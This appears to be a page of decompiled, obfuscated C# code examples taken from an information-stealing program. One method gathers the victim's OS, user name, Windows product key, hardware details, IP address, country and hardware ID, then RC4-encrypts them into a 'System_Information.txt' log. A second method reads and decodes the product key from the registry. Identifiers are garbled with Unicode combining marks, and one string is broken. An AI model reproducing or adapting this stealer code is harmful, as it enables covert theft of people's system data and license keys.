示例#1
0
        // Token: 0x06000052 RID: 82 RVA: 0x000046C0 File Offset: 0x000028C0
        public static void tmethod_42(string str_0)
        {
            ComputerInfo computerInfo = new ComputerInfo();
            Size         size         = Screen.PrimaryScreen.Bounds.Size;

            try
            {
                string   text  = "";
                string[] array = new string[35];
                array[0] = text;
                array[1] = "==================================================\n Operating system: ";
                int             num       = 2;
                OperatingSystem osversion = Environment.OSVersion;
                array[num] = ((osversion != null) ? osversion.ToString() : null);
                array[3]   = " | ";
                array[4]   = computerInfo.OSFullName;
                array[5]   = "\n PC user: "******"/";
                array[8]   = Environment.UserName;
                array[9]   = "\n WinKey: ";
                array[10]  = Class_9.smethod_30("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "DigitalProductId");
                array[11]  = "\n==================================================\n Screen resolution: ";
                int  num2  = 12;
                Size size2 = size;
                array[num2] = size2.ToString();
                array[13]   = "\n Current time Utc: ";
                array[14]   = DateTime.UtcNow.ToString();
                array[15]   = "\n Current time: ";
                array[16]   = DateTime.Now.ToString();
                array[17]   = "\n==================================================\n CPU: ";
                array[18]   = Class_14.xmethod_41();
                array[19]   = "\n RAM: ";
                array[20]   = Class_14.pmethod_39();
                array[21]   = "\n GPU: ";
                array[22]   = Class_14.lmethod_38();
                array[23]   = "\n BIOS: ";
                array[24]   = Class_14.smethod_40();
                array[25]   = "\n ==================================================\n IP Geolocation: ";
                array[26]   = Class_47.IP();
                array[27]   = " ";
                array[28]   = Class_47.Country();
                array[29]   = "\n Log Date: ";
                array[30]   = Class_47.\u033B\u033C\u0355\u0314\u0330\u0316\u0326\u0327\u0349\u035Ei\u036B\u031D\u0363\u0322\u0367hzhsdavyvmobkojd\u0020\u0309\u033F\u0362\u0020\u0347\u036B\u0366\u0347\u036B\u0356\u0349\u0347\u035C\u0306\u032Djkgcmitutxmwdtwk;
                array[31]   = "\n Version build: ";
                array[32]   = Class_103.field_0;
                array[33]   = "\n HWID: ";
                array[34]   = Class_47.\u030C\u0360\u0352\u0330\u0020\u0345\u034D\u031F\u0317\u0020\u036F\u032F\u0335\u0303\u0020\u0348btjzcydnmobecrmu\u0E47\u0E47\u0363\u0E47r\u0367\u0323\u0347\u0331\u0347\u032C\u0348\u0332\u035F\u036B\u034Eplwrzxwpllzxvpwz;
                text        = string.Concat(array);
                Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\System_Information.txt", Class_47.RC4(Encoding.UTF8.GetBytes(text)));
            }
            catch
            {
            }
        }
示例#2
0
        // Token: 0x0600003D RID: 61 RVA: 0x00003A74 File Offset: 0x00001C74
        public static string smethod_30(string str_0, string str_1)
        {
            string       result = string.Empty;
            RegistryHive hKey   = Class_104.IsAdmin ? RegistryHive.LocalMachine : RegistryHive.CurrentUser;
            RegistryView view   = Class_104.IsWin64 ? RegistryView.Registry64 : RegistryView.Registry32;

            try
            {
                using (RegistryKey registryKey = RegistryKey.OpenBaseKey(hKey, view))
                {
                    using (RegistryKey registryKey2 = registryKey.OpenSubKey(str_0, Class_104.IsWin64))
                    {
                        result = (((Environment.OSVersion.Version.Major != 6 || Environment.OSVersion.Version.Minor < 2) && Environment.OSVersion.Version.Major <= 6) ? Class_9.lmethod_28((byte[])registryKey2.GetValue(str_1)) : Class_9.pmethod_29((byte[])registryKey2.GetValue(str_1)));
                    }
                }
            }
            catch (Exception)
            {
                return("Unknown");
            }
            return(result);
        }